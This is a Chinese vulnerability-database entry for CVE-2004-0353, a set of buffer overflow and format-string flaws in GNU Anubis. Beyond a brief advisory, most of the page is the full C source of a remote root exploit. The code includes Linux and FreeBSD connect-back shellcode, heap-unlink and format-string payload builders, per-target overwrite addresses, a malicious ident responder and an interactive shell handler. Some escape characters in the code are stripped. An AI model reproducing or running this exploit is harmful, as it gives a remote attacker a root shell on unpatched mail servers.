GNU Anubis多个远程缓冲区溢出和格式化字符串漏洞
漏洞ID | 1107761 | 漏洞类型 | 缓冲区溢出 |
发布时间 | 2004-03-01 | 更新时间 | 2005-10-20 |
CVE编号 | CVE-2004-0353 |
CNNVD-ID | CNNVD-200411-071 |
漏洞平台 | Linux | CVSS评分 | 10.0 |
|漏洞来源
|漏洞详情
GNUAnubis3.6.0到3.6.2,3.9.92和3.9.93版本的auth.c中的auth_ident()函数存在多个缓冲区溢出漏洞。远程攻击者可以借助一个超长字符串获取权限。
|漏洞EXP
source: http://www.securityfocus.com/bid/9772/info
GNU Anubis has been reported prone to multiple buffer overflow and format string vulnerabilities. It has been conjectured that a remote attacker may potentially exploit these vulnerabilities to have arbitrary code executed in the context of the Anubis software. The buffer overflow vulnerabilities exist in the 'auth_ident' function in 'auth.c'. The format string vulnerabilities are reported to affect the 'info' function in 'log.c', the 'anubis_error' function in 'errs.c' and the 'ssl_error' function in 'ssl.c'.
These vulnerabilities have been reported to exist in GNU Anubis versions 3.6.0, 3.6.1, 3.6.2, 3.9.92, and 3.9.93. It is possible that other versions are affected as well.
These issues are undergiong further analysis, they will be divided into separate BIDs as analysis is completed.
/*
* anubisexp.c
*
* GNU Anubis 3.6.2 remote root exploit by CMN
*
* <cmn at darklab.org>, <cmn at 0xbadc0ded.org>
* Bug found by Ulf Harnhammar.
*
* 2004-03-10
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/param.h>
#include <sys/wait.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define DUMMY 0x41414141
#define BUFSIZE 512
#define AUTH_PORT 113
#define ANUBIS_PORT 24
#define IP_INDEX 5
#define PORT_INDEX 11
#define PREV_INUSE 0x1
#define IS_MMAP 0x2
#define NON_MAIN_ARENA 0x4
#define FMTSTR 0x1
#define OVERFLOW 0x2
#define JMPCODE "xebx0c"
static int connect_target = 0;
static int start_auth = 0;
/* Connect back */
static char linux_code[] =
"x31xc0x50x50x68xc0xa8x01x01x66x68x30x39xb0x02"
"x66x50x89xe6x6ax06x6ax01x6ax02x89xe1x31xdbx43"
"x30xe4xb0x66xcdx80x89xc5x6ax10x56x55x89xe1xb3"
"x03xb0x66xcdx80x89xebx31xc9x31xc0xb0x3fxcdx80"
"x41xb0x3fxcdx80x41xb0x3fxcdx80x31xd2x52x68x2f"
"x2fx73x68x68x2fx62x69x6ex89xe3x52x53x89xe1xb0"
"x0bxcdx80x31xc0x40xcdx80";
/* Connect back */
static char freebsd_code[] =
"x31xc0x50x50x68xc0xa8x01x01x66x68x30x39xb4x02"
"x66x50x89xe2x66x31xc0x50x40x50x40x50x50x30xe4"
"xb0x61xcdx80x89xc7x31xc0xb0x10x50x52x57x50xb0"
"x62xcdx80x50x57x50xb0x5axcdx80xb0x01x50x57x50"
"x83xc0x59xcdx80xb0x02x50x57x50x83xc0x58xcdx80"
"x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3"
"x50x53x89xe2x50x52x53x50xb0x3bxcdx80x31xc0x40"
"x50x50xcdx80";
struct target {
char type;
char *desc;
char *code;
u_int bufaddr; /* static buf on line 266 in net.c, used by recv() */
u_int retloc;
u_int offset;
u_int written;
u_int pad;
};
struct target targets[] = {
/* .GOT free */
{ OVERFLOW, "Linux anubis-3.6.2-1.i386.rpm [glibc < 3.2.0] (overflow)",
linux_code, 0x08056520, 0x08056464, 305, 0x00, 0x00 },
/* .GOT strlen */
{ FMTSTR, "Linux anubis-3.6.2-1.i386.rpm (fmt, verbose)", linux_code,
0x08056520, 0x080563bc, 10*4, 32, 1 },
/* .dtors */
{ FMTSTR, "FreeBSD anubis-3.6.2_1.tgz (fmt)", freebsd_code,
0x805db80, 0x0805cc10+4, 12*4, 20, 1 },
/* .GOT getpwnam */
{ FMTSTR, "FreeBSD anubis-3.6.2_1.tgz (fmt, verbose)", freebsd_code,
0x805db80, 0x0805ce18, 15*4, 32, 1 },
{ -1, NULL, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }
};
int
sock_connect(u_long ip, u_short port)
{
struct sockaddr_in taddr;
int sock_fd;
memset(&taddr, 0x00, sizeof(struct sockaddr_in));
taddr.sin_addr.s_addr = ip;
taddr.sin_port = port;
taddr.sin_family = AF_INET;
if ( (sock_fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("** socket()");
return(-1);
}
if (connect(sock_fd, (struct sockaddr *)&taddr,
sizeof(taddr)) < 0) {
perror("** connect()");
return(-1);
}
return(sock_fd);
}
long
net_inetaddr(u_char *host)
{
long haddr;
struct hostent *hent;
if ( (haddr = inet_addr(host)) < 0) {
if ( (hent = gethostbyname(host)) == NULL)
return(-1);
memcpy(&haddr, (hent->h_addr), 4);
}
return(haddr);
}
long
net_localip(void)
{
u_char lname[MAXHOSTNAMELEN +1];
struct in_addr addr;
memset(lname, 0x00, sizeof(lname));
if ( gethostname(lname, MAXHOSTNAMELEN) < 0)
return(-1);
addr.s_addr = net_inetaddr(lname);
return(addr.s_addr);
}
char *
unlinkchunk(u_int ret, u_int retloc, size_t words)
{
u_int *chunk;
size_t i=0;
if (words < 14) {
fprintf(stderr, "unlinkchunk(): Small buffern");
return(NULL);
}
if ( (chunk = calloc(words*sizeof(u_int)+1, 1)) == NULL) {
perror("calloc()");
return(NULL);
}
chunk[i++] = -4;
chunk[i++] = -4;
chunk[i++] = -4;
chunk[i++] = ret;
chunk[i++] = retloc-8;
chunk[i++] = -4;
chunk[i++] = -4;
chunk[i++] = -4;
chunk[i++] = ret;
chunk[i++] = retloc-8;
for (; i<words; i++) {
/* Relative negative offset to first chunk */
if (i % 2)
chunk[i] = ((-(i-8)*4) & ~(IS_MMAP|NON_MAIN_ARENA))|PREV_INUSE;
/* Relative negative offset to second chunk */
else
chunk[i] = ((-(i-3)*4) & ~(IS_MMAP|NON_MAIN_ARENA))|PREV_INUSE;
}
return((char *)chunk);
}
int
mkfmtstr(struct target *tgt, u_int ret,
char *buf, size_t buflen)
{
size_t pad;
size_t espoff;
size_t written;
int tmp;
int wb;
int i;
if (buflen < 50) {
fprintf(stderr, "mkfmtstr(): small buffern");
return(-1);
}
memset(buf, 'P', tgt->pad % 4);
buf += tgt->pad % 4;
written = tgt->written;
/* Add dummy/retloc pairs */
*(u_long *)buf = DUMMY;
*(u_long *)(buf +4) = tgt->retloc;
buf += 8;
*(u_long *)buf = DUMMY;
*(u_long *)(buf +4) = tgt->retloc+1;
buf += 8;
*(u_long *)buf = DUMMY;
*(u_long *)(buf +4) = tgt->retloc+2;
buf += 8;
*(u_long *)buf = DUMMY;
*(u_long *)(buf +4) = tgt->retloc+3;
buf += 8;
buflen -= 32;
written += 32;
/* Stackpop */
for (espoff = tgt->offset; espoff > 0; espoff -= 4) {
snprintf(buf, buflen, "%%08x");
buflen -= strlen("%08x");
buf += strlen("%08x");
written += 8;
}
/* Return address */
for (i=0; i<4; i++) {
wb = ((u_char *)&ret)[i] + 0x100;
written %= 0x100;
pad = (wb - written) % 0x100;
if (pad < 10)
pad += 0x100;
tmp = snprintf(buf, buflen,
"%%%du%%n", pad);
written += pad;
buflen -= tmp;
buf += tmp;
}
return(buflen >= 0 ? written : -1);
}
int
evil_auth(u_short port, char *ident, size_t identlen)
{
struct sockaddr_in client;
struct sockaddr_in laddr;
u_int addrlen = sizeof(struct sockaddr_in);
int lsock, csock;
char input[128];
if ( (lsock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("** socket()");
return(-1);
}
memset(&laddr, 0x00, sizeof(struct sockaddr_in));
laddr.sin_family = AF_INET;
laddr.sin_port = port;
laddr.sin_addr.s_addr = INADDR_ANY;
if (bind(lsock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
perror("** bind()");
return(-1);
}
if (listen(lsock, 1) < 0) {
perror("** listen()");
return(-1);
}
printf("[*] Awaiting auth connectionn");
if ( (csock = accept(lsock, (struct sockaddr *)&client,
&addrlen)) < 0) {
fprintf(stderr, "** Connection errorn");
return(-1);
}
if (getpeername(csock, (struct sockaddr *)&client, &addrlen) < 0)
perror("** getpeername()");
else
printf("[*] %s:%u connected to authn",
inet_ntoa(client.sin_addr), ntohs(client.sin_port));
if (read(csock, input, sizeof(input)) <= 0) {
perror("** write()");
return(1);
}
printf("[*] Sending evil identn");
if (write(csock, ident, identlen) != identlen) {
perror("** write()");
return(1);
}
if (close(csock) < 0 || close(lsock < 0)) {
perror("** close()");
return(1);
}
return(0);
}
void
signal_handler(int signo)
{
if (signo == SIGUSR1) {
start_auth++;
connect_target++;
}
else if (signo == SIGALRM) {
fprintf(stderr, "** Timed out while waiting for connect backn");
kill(0, SIGTERM);
exit(EXIT_FAILURE);
}
}
int
get_connectback(pid_t conn, int lsock)
{
char inbuf[8192];
u_int addrlen = sizeof(struct sockaddr_in);
struct sockaddr_in client;
int csock;
fd_set readset;
ssize_t n;
int nfd;
if (listen(lsock, 1) < 0) {
perror("** listen()");
return(-1);
}
/* Timeout */
signal(SIGALRM, signal_handler);
alarm(5);
/* Signal connect */
kill(conn, SIGUSR1);
waitpid(conn, NULL, 0);
printf("[*] Awaiting connect backn");
if ( (csock = accept(lsock, (struct sockaddr *)&client,
&addrlen)) < 0) {
fprintf(stderr, "** Connection errorn");
return(-1);
}
alarm(0);
printf("[*] Target connected backnn");
wait(NULL); /* Reap of last child */
write(csock, "idn", 3);
if ( (nfd = csock +1) > FD_SETSIZE) {
fprintf(stderr, "** SASH Error: FD_SETSIZE to small!rn");
return(1);
}
FD_ZERO(&readset);
FD_SET(csock, &readset);
FD_SET(STDIN_FILENO, &readset);
for (;;) {
fd_set readtmp;
memcpy(&readtmp, &readset, sizeof(readtmp));
memset(inbuf, 0x00, sizeof(inbuf));
if (select(nfd, &readtmp, NULL, NULL, NULL) < 0) {
if (errno == EINTR)
continue;
perror("select()");
return(1);
}
if (FD_ISSET(STDIN_FILENO, &readtmp)) {
if ( (n = read(STDOUT_FILENO, inbuf, sizeof(inbuf))) < 0) {
perror("read()");
break;
}
if (n == 0) break;
if (write(csock, inbuf, n) != n) {
perror("write()");
return(1);
}
}
if (FD_ISSET(csock, &readtmp)) {
if ( (n = read(csock, inbuf, sizeof(inbuf))) < 0) {
perror("read()");
break;
}
if (n == 0) break;
if (write(STDOUT_FILENO, inbuf, n) != n) {
perror("write()");
return(1);
}
}
}
return(0);
}
void
usage(char *pname)
{
int i;
printf("nUsage: %s host[:port] targetID [Option(s)]n", pname);
printf("n Targets:n");
for (i=0; targets[i].desc != NULL; i++)
printf(" %d - %sn", i, targets[i].desc);
printf("n Options:n");
printf(" -b ip[:port] - Local connect back addressn");
printf(" -l retloc - Override target retlocn");
printf(" -r ret - Override target retn");
printf(" -w written - Bytes written by target fmt funcn");
printf("n");
}
int
main(int argc, char *argv[])
{
u_char buf[BUFSIZE+1];
u_char fmt[220];
char *chunk = NULL;
struct sockaddr_in taddr;
struct sockaddr_in laddr;
u_short auth_port;
struct target *tgt;
pid_t pid1, pid2;
u_int ret = 0;
int lsock;
char *pt;
int i;
printf("n GNU Anubis 3.6.2 remote root exploit by CMNn");
if (argc < 3) {
usage(argv[0]);
exit(EXIT_FAILURE);
}
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-n");
memset(&taddr, 0x00, sizeof(struct sockaddr_in));
taddr.sin_port = htons(ANUBIS_PORT);
taddr.sin_family = AF_INET;
taddr.sin_addr.s_addr = INADDR_ANY;
auth_port = htons(AUTH_PORT);
memset(&laddr, 0x00, sizeof(struct sockaddr_in));
laddr.sin_family = AF_INET;
laddr.sin_port = 0;
laddr.sin_addr.s_addr = net_localip();
if ( (pt = strchr(argv[1], ':'))) {
*pt++ = ' ';
taddr.sin_port = htons((u_short)strtoul(pt, NULL, 0));
}
if ( (long)(taddr.sin_addr.s_addr = net_inetaddr(argv[1])) == -1) {
fprintf(stderr, "Failed to resolve target host/IP"%s"n",
argv[1]);
exit(EXIT_FAILURE);
}
argv++;
argc--;
i = strtoul(argv[1], NULL, 0);
if (argv[1][0] == '-'|| (i<0) ||
i>= sizeof(targets)/sizeof(struct target)-1) {
fprintf(stderr, "** Bad target IDn");
exit(EXIT_FAILURE);
}
argv++;
argc--;
tgt = &targets[i];
while ( (i = getopt(argc, argv, "r:l:w:b:")) != -1) {
switch(i) {
case 'b': {
if ( (pt = strchr(optarg, ':'))) {
*pt++ = ' ';
laddr.sin_port = htons((u_short)strtoul(optarg,
NULL, 0));
}
if ( (long)(laddr.sin_addr.s_addr = net_inetaddr(optarg))
== -1) {
fprintf(stderr, "Failed to resolve target host/IP
"%s"n", optarg);
exit(EXIT_FAILURE);
}
}
case 'r': ret = strtoul(optarg, NULL, 0); break;
case 'l': tgt->retloc = strtoul(optarg, NULL, 0); break;
case 'w': tgt->written = strtoul(optarg, NULL, 0); break;
default: exit(EXIT_FAILURE);
}
}
/* Local address */
if ( (lsock = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("** socket()");
exit(EXIT_FAILURE);
}
if (bind(lsock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
perror("** bind()");
exit(EXIT_FAILURE);
}
/* Connect back address */
{
int len = sizeof(struct sockaddr_in);
struct sockaddr_in paddr;
if (getsockname(lsock, (struct sockaddr *)&paddr, &len) < 0) {
perror("** getsockname()");
exit(EXIT_FAILURE);
}
(*(u_short *)&tgt->code[PORT_INDEX]) = paddr.sin_port;
(*(u_int *)&tgt->code[IP_INDEX]) = paddr.sin_addr.s_addr;
printf("local addr: %s:%un", inet_ntoa(paddr.sin_addr),
ntohs(paddr.sin_port));
if (!(paddr.sin_port & 0xff00) || !(paddr.sin_port & 0xff00) ||
!(paddr.sin_addr.s_addr & 0xff000000) ||
!(paddr.sin_addr.s_addr & 0x00ff0000) ||
!(paddr.sin_addr.s_addr & 0x0000ff00) ||
!(paddr.sin_addr.s_addr & 0x000000ff)) {
fprintf(stderr, "** Zero byte(s) in connect back addressn");
exit(EXIT_FAILURE);
}
}
/*
* We insert a 'n' to control the size of the data
* passed on the the vulnerable function.
* But all 512 bytes are read into a static buffer, so we
* just add the shellcode after 'n' to store it.
*/
if (tgt->type == FMTSTR) {
if (!ret)
ret = tgt->bufaddr+260;
if (mkfmtstr(tgt, ret, fmt, sizeof(fmt)) < 0)
exit(EXIT_FAILURE);
memset(buf, 0x90, sizeof(buf));
memcpy(&buf[BUFSIZE-strlen(tgt->code)-4],
tgt->code, strlen(tgt->code)+1);
i = snprintf(buf, sizeof(buf), "a: USERID: a: %sn", fmt);
if (buf[i] == ' ') buf[i] = 0x90;
}
else {
if (!ret)
ret = tgt->bufaddr+tgt->offset+24;
memset(buf, 0x90, sizeof(buf));
memcpy(&buf[sizeof(buf)-strlen(tgt->code)-4],
tgt->code, strlen(tgt->code)+1);
if ( (chunk = unlinkchunk(ret, tgt->retloc, 64/4)) == NULL)
exit(EXIT_FAILURE);
i = snprintf(buf, sizeof(buf), "a: USERID: a: %s", chunk);
if (buf[i] == ' ') buf[i] = 0x90;
/* Set free address */
*((u_int *)&buf[tgt->offset]) = tgt->bufaddr + 68;
/* Return point */
memcpy(&buf[(tgt->offset+24)], JMPCODE, sizeof(JMPCODE)-1);
buf[tgt->offset+4] = 'n';
}
printf(" Target: %sn", tgt->desc);
printf(" Return: 0x%08xn", ret);
printf(" Retloc: 0x%08xn", tgt->retloc);
if (tgt->type == FMTSTR) {
printf(" offset: %u bytes%sn", tgt->offset,
tgt->offset==1?"s":"");
printf(" Padding: %u byte%sn", tgt->pad,
tgt->pad==1?"s":"");
printf(" Written: %u byte%sn", tgt->written,
tgt->written==1?"s":"");
}
printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-nn");
if (!(ret & 0xff000000) ||
!(ret & 0x00ff0000) ||
!(ret & 0x0000ff00) ||
!(ret & 0x000000ff)) {
fprintf(stderr, "** Zero byte(s) in return addressn");
exit(EXIT_FAILURE);
}
if (!(tgt->retloc & 0xff000000) ||
!(tgt->retloc & 0x00ff0000) ||
!(tgt->retloc & 0x0000ff00) ||
!(tgt->retloc & 0x000000ff)) {
fprintf(stderr, "** Zero byte(s) in retlocn");
exit(EXIT_FAILURE);
}
signal(SIGUSR1, signal_handler);
if ( (pid1 = fork()) < 0) {
perror("** fork()");
exit(EXIT_FAILURE);
}
/* Auth server */
if (pid1 == 0) {
kill(getppid(), SIGUSR1);
signal(SIGUSR1, signal_handler);
while (!start_auth);
if (evil_auth(auth_port, buf, strlen(buf)) != 0)
kill(getppid(), SIGTERM);
exit(EXIT_SUCCESS);
}
if ( (pid2 = fork()) < 0) {
perror("** fork()");
kill(pid1, SIGTERM);
exit(EXIT_FAILURE);
}
/* Connect to trigger */
if (pid2 == 0) {
int anubis_sock;
signal(SIGUSR1, signal_handler);
while (!connect_target);
if ( (anubis_sock = sock_connect(taddr.sin_addr.s_addr,
taddr.sin_port)) < 0) {
exit(EXIT_FAILURE);
}
exit(EXIT_SUCCESS);
}
/* Start auth */
while(!start_auth);
kill(pid1, SIGUSR1);
if (get_connectback(pid2, lsock) < 0) {
kill(0, SIGTERM);
exit(EXIT_FAILURE);
}
exit(EXIT_SUCCESS);
}
|参考资料
来源:BID
名称:9772
链接:http://www.securityfocus.com/bid/9772
来源:XF
名称:anubis-ident-bo(15345)
链接:http://xforce.iss.net/xforce/xfdb/15345
来源:BUGTRAQ
名称:20040310GNUAnubis3.6.2remoterootexploit
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=107894315012081&w;=2
来源:BUGTRAQ
名称:20040304GNUAnubisbufferoverflowsandformatstringbugs
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=107843915424588&w;=2
来源:MLIST
名称:[bug-anubis]20040228Importantsecurityupdate
链接:http://mail.gnu.org/archive/html/bug-anubis/2004-02/msg00000.html
相关推荐: Check Point Firewall-1 HTTP代理服务器未授权协议访问漏洞
Check Point Firewall-1 HTTP代理服务器未授权协议访问漏洞 漏洞ID 1203848 漏洞类型 权限许可和访问控制 发布时间 2002-09-19 更新时间 2002-12-31 CVE编号 CVE-2002-2405 CNNVD-ID…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666